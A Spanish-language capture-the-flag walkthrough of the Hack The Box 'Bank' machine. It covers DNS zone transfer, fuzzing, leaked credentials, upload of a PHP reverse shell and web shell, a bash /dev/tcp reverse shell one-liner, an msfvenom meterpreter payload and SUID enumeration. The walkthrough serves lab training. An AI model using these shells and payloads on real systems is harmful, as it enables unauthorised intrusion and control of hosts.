Bank - Hack The Box
Esta máquina fue algo difícil porque no pude escalar privilegios usando un Exploit sino que se usa un binario que automáticamente te convierte en Root, además de que tuve que investigar bastante sobre operaciones REGEX (como las odio) para poder filtrar texto. Aunque se ven temas interesantes como el ataque de transferencia de zona DNS y veremos acerca del virtual hosting que por lo que he investigado, hay otras máquina que lo van a ocupar.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- dig
- wfuzz
- gobuster
- curl
- cat
- grep
- nc
- git
- PHP
- msfvenom
- metasploit framework(msfconsole)
- Módulo: exploit/multi/handler
- Módulo: post/multi/recon/local_exploit_suggester
- meterpreter
- python
- id
- uname
- searchsploit
- find
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Probando Virtual Hosting de Máquina Víctima
- Recopilando Información de Registros DNS de la Máquina Víctima con Herramienta Dig
- Fuzzing
- Analizando Subdominios
- Explotación de Vulnerabilidades
- Ganando Acceso a la Máquina
- Ganando Acceso con Archivo CMD de PHP
- Ganando Acceso con Metasploit Framework
- Post Explotación
- Enumeración de Máquina
- Probando Exploit: Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation
- Escalando Privilegios Usando Binario de Máquina
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veamos que SO opera ahí.
ping -c 4 10.10.10.29
PING 10.10.10.29 (10.10.10.29) 56(84) bytes of data.
64 bytes from 10.10.10.29: icmp_seq=1 ttl=63 time=132 ms
64 bytes from 10.10.10.29: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.10.10.29: icmp_seq=3 ttl=63 time=131 ms
64 bytes from 10.10.10.29: icmp_seq=4 ttl=63 time=134 ms
--- 10.10.10.29 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 130.666/132.167/134.499/1.417 ms
Por el TTL, sabemos que es una máquina Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.29 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 12:01 CST
Initiating SYN Stealth Scan at 12:01
Scanning 10.10.10.29 [65535 ports]
Discovered open port 22/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Discovered open port 53/tcp on 10.10.10.29
Completed SYN Stealth Scan at 12:02, 23.93s elapsed (65535 total ports)
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.44s latency).
Scanned at 2023-02-19 12:01:41 CST for 24s
Not shown: 33062 closed tcp ports (reset), 32470 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 24.00 seconds
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay tres puertos abiertos, hay 2 servicios que ya conocemos por los puertos, estos son el servicio SSH y el servicio HTTP. Veamos que nos dice el escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p22,53,80 10.10.10.29 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 12:04 CST
Nmap scan report for 10.10.10.29
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08eed030d545e459db4d54a8dc5cef15 (DSA)
| 2048 b8e015482d0df0f17333b78164084a91 (RSA)
| 256 a04c94d17b6ea8fd07fe11eb88d51665 (ECDSA)
|_ 256 2d794430c8bb5e8f07cf5b72efa16d67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Vemos lo que opera en los puertos, para empezar como no tenemos credenciales no podemos entrar al servicio SSH, así que lo único que podemos hacer es revisar la página web.
Pues nos manda la página por defecto de Apache y no nos muestra nada en realidad. Incluso no es necesario ver el Wappalizer porque no nos muestra nada que nos pueda ayudar.
¿Entonces que hacemos? Es momento de investigar.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Bueno para el caso de esta máquina hay que ser preciso en un tema importante:
- No es lo mismo poner una IP de un dominio a poner el nombre del dominio, ejemplo, 10.10.10.29 (IP) o Ejemplo.com (Dominio)
¿Por qué? Porque quizá el servidor o máquina donde estén operando dichas páginas web tenga activo el Virtual Hosting.
¿Y esta cosa que es? Bueno:
Virtual Hosting |
---|
El alojamiento compartido o alojamiento virtual, en inglés Virtual hosting, es una de las modalidades más utilizadas por las empresas dedicadas al negocio del alojamiento web. Dependiendo de los recursos disponibles, permite tener una cantidad variable de dominios y sitios web en una misma máquina. |
Es decir, que puede haber varios dominios en solo una máquina, como en este caso.
Esto también lo podemos saber, por el servicio que esta operando en el puerto 53, que es el DNS ISC BIND:
DNS ISC BIND |
---|
BIND es el servidor de DNS más comúnmente usado en Internet, especialmente en sistemas Unix, en los cuales es un estándar de facto. Es patrocinado por la Internet Systems Consortium (ISC). |
Probando Virtual Hosting de Máquina Víctima
¿Qué podemos hacer? Es sencillo, para nuestro caso Hack The Box suele tener dominios con el nombre de la máquina seguido de .htb.
Podemos probar si esto es verdad mandando un ping al dominio bank.htb, que deducimos es el nombre de dominio que está ocupando la máquina:
ping -c 1 bank.htb
ping: bank.htb: Nombre o servicio desconocido
Ok, pero no nos sale nada, ¿ahora qué? Tan simple como que tengamos que registrar ese dominio en el archivo hosts que esta guardado en el directorio etc, hagámoslo:
locate /etc/hosts
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
nano /etc/hosts
Una vez dentro, vamos a poner la ip de la máquina más el dominio bank.htb:
10.10.10.29 bank.htb
Guardamos, salimos y volvemos a intentar mandar el ping:
ping -c 1 bank.htb
PING bank.htb (10.10.10.29) 56(84) bytes of data.
64 bytes from bank.htb (10.10.10.29): icmp_seq=1 ttl=63 time=130 ms
--- bank.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 130.266/130.266/130.266/0.000 ms
¡EXCELENTE! Ahora sabemos que ese dominio si existe, por lo que intentemos entrar en el poniendo el nombre del dominio directamente en el buscador.
Ahí está, tenemos un login, veamos que nos dice el Wappalizer:
Tenemos bastante información que nos puede ser útil más adelante. Ahora vamos a utilizar una herramienta bastante útil para estos casos llamada dig.
Recopilando Información de Registros DNS de la Máquina Víctima con Herramienta Dig
¿Qué hace la herramienta dig?
Herramienta Dig |
---|
Dig (Domain Information Groper) es una herramienta de línea de comandos de Linux que realiza búsquedas en los registros DNS, a través de los nombres de servidores, y te muestra el resultado. |
Aqui el link con más información:
Entonces, utilicemos esta herramienta, hagamos varias pruebas:
- Vamos a especificar el servidor (@IP) y un dominio (bank.htb):
dig @10.10.10.29 bank.htb ; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.29 bank.htb ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54337 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;bank.htb. IN A ;; ANSWER SECTION: bank.htb. 604800 IN A 10.10.10.29 ;; AUTHORITY SECTION: bank.htb. 604800 IN NS ns.bank.htb. ;; ADDITIONAL SECTION: ns.bank.htb. 604800 IN A 10.10.10.29 ;; Query time: 131 msec ;; SERVER: 10.10.10.29#53(10.10.10.29) (UDP) ;; WHEN: Mon Apr 03 13:12:37 CST 2023 ;; MSG SIZE rcvd: 86
- Bien, ahora veamos que correos están registrados en la máquina:
dig @10.10.10.29 bank.htb MX ; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.29 bank.htb MX ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61728 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;bank.htb. IN MX ;; AUTHORITY SECTION: bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800 ;; Query time: 135 msec ;; SERVER: 10.10.10.29#53(10.10.10.29) (UDP) ;; WHEN: Mon Apr 03 13:17:34 CST 2023 ;; MSG SIZE rcvd: 79
Muy bien, tenemos un correo que en este caso puede ser un usuario para que podamos acceder después. Lo que podemos hacer son 2 cosas, la primera un Fuzzing para ver que subdominios tiene esta página web y dos, ver si podemos hacer un ataque de transferencia de zona DNS.
Fuzzing
Primero hagamos el Fuzzing y luego explico el ataque:
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://bank.htb/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bank.htb/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000014: 302 188 L 319 W 7322 Ch "http://bank.htb//"
000000083: 403 10 L 30 W 281 Ch "icons"
000000291: 200 20 L 104 W 1696 Ch "assets"
000000164: 403 10 L 30 W 283 Ch "uploads"
000002190: 200 19 L 89 W 1530 Ch "inc"
000045240: 302 188 L 319 W 7322 Ch "http://bank.htb//"
000095524: 403 10 L 30 W 289 Ch "server-status"
000192709: 200 1014 L 11038 W 253503 Ch "balance-transfer"
Total time: 585.2624
Processed Requests: 220560
Filtered Requests: 220539
Requests/sec.: 376.8565
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Excelente, ahora vamos a hacer lo mismo, pero con Gobuster:
gobuster dir -u http://bank.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bank.htb/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status (Status: 403) [Size: 288]
/balance-transfer (Status: 301) [Size: 314] [--> http://bank.htb/balance-transfer/]
Progress: 220530 / 220561 (99.99%)
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Bien, vemos algunos subdominios que podemos investigar, ahora el ataque.
¿Qué es un Ataque de Transferencia de Zona DNS?:
Ataque de Transferencia de Zona DNS (AXFR) |
---|
Una transferencia de zona es un mecanismo para replicar datos de DNS a través de servidores DNS. Es decir si se tienen dos servidores DNS, el primer servidor confía en AXFR para poner los mismos datos en un segundo servidor. AXFR es también utilizado por terceros no autorizados quienes requieran obtener datos más profundos de un sitio. |
Entonces, lo que conseguiremos será más información sobre subdominios, algo similar al Fuzzing que hicimos, entonces probémoslo:
dig @10.10.10.29 bank.htb AXFR
.
; <<>> DiG 9.18.12-1-Debian <<>> @10.10.10.29 bank.htb AXFR
; (1 server found)
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 131 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Mon Apr 03 13:23:13 CST 2023
;; XFR size: 6 records (messages 1, bytes 171)
Pues mucha información no nos dio, salvo el dominio ns.bank.htb, así que vamos a analizar los directorios que obtuvimos del Fuzzing.
Analizando Subdominios
Hice dos pruebas de Fuzzing, una normal, que es la que está arriba, y la otra poniendo la extension .php, en esta última no salió nada relevante, solo quería mencionarlo.
Como vemos, hay algunos subdominios, pero el que más llama la atención es el balance-transfer, entremos a ese:
Changos, hay muchos archivos, pero ¿qué es esa extención .acc?, vamos a investigarla:
Archivos ACC |
---|
Los archivos en el formato ACC son utilizados por el software de Cuentas gráficas como archivos de datos de salida del proyecto que contienen datos introducidos por el autor de los archivos del CAC. |
Quiero entender, que aquí se guardan datos que se han utilizado en la página web, como son muchos no quiero ponerme a ver cada uno a menos que lo requiera, entonces lo que haremos será descargar el texto de esta página para buscar si hay alguno diferente.
¿Y esto por qué? Porque hay muchos con el mismo peso, debe haber algunos con menor o mayor peso y eso quiere decir que son únicos.
Para descargar el texto vamos a usar curl y expresiones REGEX para filtrar, vamos por pasos:
- Descargamos el texto de esta página:
curl -s -X GET "http://bank.htb/balance-transfer/"
Si lo dejamos así, solo veremos el código HTML por lo que usaremos la herramienta html2text para cambiar de HTML a texto:
curl -s -X GET "http://bank.htb/balance-transfer/" | html2text
Ahora si se ve en texto, pero no quiero que se vean esos corchetes además de que nos molestaran a la hora del filtrado, así que vamos a eliminarlos con awk:
curl -s -X GET "http://bank.htb/balance-transfer/" | html2text | awk '{print $3 " " $5}' > output.txt
Ahora sí, con eso ya solamente quedaría el nombre del archivo y su peso.
- Filtramos por REGEX para ver si hay archivos con menor o mayor peso:
cat output | sed '/^\s*$/d' |
Con sed vamos a eliminar los espacios que hay entre cada archivo de arriba a abajo para que solo queden los puros nombres y pesos.
- Con grep vamos a ir eliminando los pesos más comunes que vimos a ojo de buen cubero, ósea el 585, 584, 583 y 582:
cat output | sed '/^\s*$/d' | grep -v -E "582|583|584|585"
- Resultado final:
cat output | sed '/^\s*$/d' | grep -v -E "582|583|584|585" of ****** Last Description 09ed7588d1cd47ffca297cc7dac22c52.acc 581 941e55bed0cb8052e7015e7133a5b9c7.acc 581 68576f20e9732f1b2edc4df5b8533230.acc 257 Server bank.htb
¡BRAVO! Hay 3 archivos poco comunes pero el que más llama la atención es el que pesa 257, vamos a descargarlo buscándolo en la página y dándole click:
Lo mandamos al directorio de trabajo y vemos su contenido:
cat 68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+
===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===
Mira nada más, son el usuario y contraseña, bueno ya teníamos un usuario, ahora vamos a probarlos:
¡Entramos! Investiguemos que podemos hacer.
Veo que podemos subir archivos, pero no dice de que tipo. Quizá si analizamos el código fuente de la página podremos encontrar algo útil, para hacer esto solo oprimimos ctrl + u:
¡Ahí está! Solamente acepta archivos con terminación .htb y dichos archivos deben ser hechos en PHP, lo que podemos hacer es cargar un Payload para poder conectarnos de manera remota. Busquemos uno en internet:
Aqui un Payload:
Explotación de Vulnerabilidades
Ganando Acceso a la Máquina
En el link anterior hay un Payload hecho en PHP que debemos modificar metiendo nuestra IP y un puerto al que debemos conectarnos, hagámoslo por pasos:
- Descargando Payload:
git clone https://github.com/pentestmonkey/php-reverse-shell.git Clonando en 'php-reverse-shell'... remote: Enumerating objects: 10, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (2/2), done. remote: Total 10 (delta 1), reused 1 (delta 1), pack-reused 7 Recibiendo objetos: 100% (10/10), 9.81 KiB | 837.00 KiB/s, listo. Resolviendo deltas: 100% (2/2), listo.
- Ahora modificamos el Payload, puedes eliminar lo demás, no es necesario:
$VERSION = "1.0"; $ip = 'Tu_IP'; // CHANGE THIS $port = Puerto_Que_Quieras; // CHANGE THIS $chunk_size = 1400;
- Bien, vamos a renombrarlo para agregarle la extensión .htb:
mv php-reverse-shell.php LocalRS.htb
- Una vez ya modificado, lo subimos:
- Levantamos una netcat con el puerto que pusimos en el Payload:
nc -nvlp 443 listening on [any] 443 ...
- Ya cargado en la página el Payload, le damos click en donde lo pide:
- ¡Y estamos dentro!:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.29] 56838 Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux 01:46:21 up 38 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
Ya solo es cosa de buscar la flag del usuario que esta en el directorio /home.
Ganando Acceso con Archivo CMD de PHP
Como ya vimos que si acepto nuestro archivo malicioso, vamos a probar a cargar un archivo que contenga una CMD en PHP, para que podamos ejecutar comandos desde la Web y poder ganar acceso desde ahí.
Hagamoslo por pasos:
- Crea el siguiente script en PHP:
<?php system($_REQUEST['cmd']); ?>
- Carga el script y ve entra en ese archivo:
- Desde la URL ya podras ejecutar cualquier comando.
- Levanta una netcat:
nc -nvlp 1234 listening on [any] 1234 ...
- Ejecuta el siguiente comando en la URL, cambiamos los ampersant (&) por %26 para que funcione correctamente:
Original: ?cmd=bash -c 'bash -i >& /dev/tcp/Tu_IP/1234 0&>1' . . Modificado para web: ?cmd=bash -c 'bash -i >%26 /dev/tcp/Tu_IP/1234 0>%261'
- Observa la netcat:
nc -nvlp 1234 listening on [any] 1234 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.29] 44272 bash: cannot set terminal process group (1069): Inappropriate ioctl for device bash: no job control in this shell www-data@bank:/var/www/bank/uploads$ whoami whoami www-data
Y listo, ya hemos ganado acceso de esta otra forma. Puedes hacer un tratamiento de la TTY, pero creo que es un poco inestable la shell, así que ten cuidado.
Ganando Acceso con Metasploit Framework
Para realizar esto, necesitamos una Reverse Shell que nos de una sesión de Meterpreter, para hacer esto necesitamos la herramienta msfvenom para crear el Payload que sea ejecutable en PHP.
Hagamoslo por pasos:
- Ejecuta el siguiente comando para crear nuestra Reverse Shell con Msfvenom:
msfvenom -p php/meterpreter_reverse_tcp LHOST=Tu_IP LPORT=1212 -f raw > shell.htb [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 34850 bytes
- Cargalo a la página.
- Abre el Metasploit y usa el modulo multi/handler, vamos a configurarlo para que nuestra Reverse Shell se pueda conectar con la misma configuración:
msfconsole . msf6 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > msf6 exploit(multi/handler) > set LHOST TU_IP LHOST => Tu_IP msf6 exploit(multi/handler) > set LPORT 1212 LPORT => 1212 msf6 exploit(multi/handler) > set payload linux/x86/meterpreter_reverse_tcp payload => linux/x86/meterpreter_reverse_tcp msf6 exploit(multi/handler) > exploit . [*] Started reverse TCP handler on Tu_IP:1212 [*] Meterpreter session 1 opened (Tu_IP:1212 -> 10.10.10.29:57824) . meterpreter > sysinfo Computer : bank OS : Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 Meterpreter : php/linux meterpreter > getuid Server username: www-data
Y listo, con esto hemos ganado acceso a la máquina con Metasploit Framework.
Post Explotación
Enumeración de Máquina
¿Qué podemos hacer? Lo más fácil seria ver que permisos tenemos, pero antes vamos a sacar un terminal más interactiva:
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bank:/$ ls
ls
bin etc initrd.img.old media proc sbin tmp vmlinuz
boot home lib mnt root srv usr vmlinuz.old
dev initrd.img lost+found opt run sys var
Ahora si, vamos a ver los permisos:
www-data@bank:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mmmmm no creo que sean muy útiles los permisos, veamos que versión de Linux tiene, aunque el escaneo de servicios ya nos lo dio:
www-data@bank:/$ uname -r
uname -r
4.4.0-79-generic
www-data@bank:/$ uname -a
uname -a
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
Muy bien, busquemos un Exploit.
Buscando un Exploit por internet, encontré este:
Bien, busquemoslo con Searchsploit:
searchsploit Ubuntu 16.04.4
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Analizándolo un poco pues no creo que nos sirva mucho, más que nada no tiene especificaciones sobre cómo usarlo, entonces busquemos otro:
searchsploit Linux 4.4.0-79
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Alienvault Open Source SIEM (OSSIM) < 4.7.0 - 'get_license' Remote Command Execution (Metasploit) | linux/remote/42697.rb
Alienvault Open Source SIEM (OSSIM) < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution | linux/remote/33805.pl
Alienvault Open Source SIEM (OSSIM) < 4.8.0 - 'get_file' Information Disclosure (Metasploit) | linux/remote/42695.rb
AppArmor securityfs < 4.8 - 'aa_fs_seq_hash_show' Reference Count Leak | linux/dos/40181.c
CyberArk < 10 - Memory Disclosure | linux/remote/44829.py
CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure | linux/dos/44428.txt
Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution | linux/local/44920.txt
Dell EMC RecoverPoint < 5.1.2 - Local Root Command Execution | linux/local/44920.txt
Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution | linux/remote/44921.txt
Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution | linux/remote/44921.txt
Dell EMC RecoverPoint boxmgmt CLI < 5.1.2 - Arbitrary File Read | linux/local/44688.txt
DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit) | linux/webapps/42769.rb
Exim < 4.86.2 - Local Privilege Escalation | linux/local/39549.txt
Exim < 4.90.1 - 'base64d' Remote Code Execution | linux/remote/44571.py
Exim4 < 4.69 - string_format Function Heap Buffer Overflow (Metasploit) | linux/remote/16925.rb
Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access | linux/remote/43386.py
Jfrog Artifactory < 4.16 - Arbitrary File Upload / Remote Command Execution | linux/webapps/44543.txt
LibreOffice < 6.0.1 - '=WEBSERVICE' Remote Arbitrary File Disclosure | linux/remote/44022.md
Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module | linux/dos/46477.txt
Linux < 4.16.9 / < 4.14.41 - 4-byte Infoleak via Uninitialized Struct Field in compat adjtimex Syscall | linux/dos/44641.c
Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem | linux/dos/46502.txt
Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Rin | linux/local/9479.c
...
Son un buen, pero el que me llamo la atención fue este: Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation
Pero antes, si tienes la sesión activa del Meterpreter en Metasploit, entonces puedes usar el modulo Suggester, para que nos diga si encuentra algún exploit que pueda vulnerar la máquina.
Vamos por pasos:
- Busca el módulo Suggester y cargalo:
msf6 exploit(multi/handler) > search suggester
.
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
.
.
Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
- Configura el modulo y activalo:
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1 SESSION => 1 msf6 post(multi/recon/local_exploit_suggester) > exploit . [*] 10.10.10.29 - Collecting local exploits for php/linux... [-] 10.10.10.29 - No suggestions available. [*] Post module execution completed
Vaya, pues no funciono. Bueno, nunca esta de más probar cualquier cosilla que se te ocurra que pueda ayudar, sigamos con el Exploit planeado.
Probando Exploit: Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation
Vamos a descargarlo y a analizarlo:
searchsploit -m linux/local/47169.c
.
Exploit: Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)
URL: https://www.exploit-db.com/exploits/47169
Path: /usr/share/exploitdb/exploits/linux/local/47169.c
Codes: CVE-2017-1000112
Verified: False
File Type: C source, ASCII text
Excelente, nos da especificaciones sobre cómo usarlo:
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
Ahora intentemos subirlo, vamos por pasos:
- Primero vamos a abrir un servidor con Python:
python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
- Ahora intentemos subirlo:
www-data@bank:/$ curl -O http://Tu_IP:8000/LocalPE.c curl -O http://Tu_IP:8000/LocalPE.c % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0Warning: Failed to create the file LocalPE.c: Permission denied 9 28360 9 2656 0 0 9388 0 0:00:03 --:--:-- 0:00:03 9418 curl: (23) Failed writing body (0 != 2656)
- No se puede, intentémoslo de otra forma:
www-data@bank:/$ wget Tu_IP/LocalPE.c wget Tu_IP/LocalPE.c --2023-04-04 02:11:28-- http://Tu_IP/LocalPE.c Connecting to Tu_IP:80... failed: Connection refused.
Era obvio que no teníamos permisos para descargar cualquier cosa, solamente lo hice para tener un ejemplo de cómo enviar archivos a un SO Linux.
Escalando Privilegios Usando Binario de Máquina
¿Entonces que queda? Investiguemos que archivos tenemos permisos para usar:
www-data@bank:/$ find \-perm -4000 2>/dev/null
find \-perm -4000 2>/dev/null
./var/htb/bin/emergency
./usr/lib/eject/dmcrypt-get-device
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/policykit-1/polkit-agent-helper-1
./usr/bin/at
./usr/bin/chsh
./usr/bin/passwd
./usr/bin/chfn
./usr/bin/pkexec
./usr/bin/newgrp
./usr/bin/traceroute6.iputils
./usr/bin/gpasswd
./usr/bin/sudo
./usr/bin/mtr
./usr/sbin/uuidd
./usr/sbin/pppd
./bin/ping
./bin/ping6
./bin/su
./bin/fusermount
./bin/mount
./bin/umount
Tenemos varios como el passwd, ping y uno que es extraño:
www-data@bank:/$ file ./var/htb/bin/emergency
file ./var/htb/bin/emergency
./var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
Ok, veamos que permisos tiene:
www-data@bank:/$ ls -la ./var/htb/bin/emergency
ls -la ./var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14 2017 ./var/htb/bin/emergency
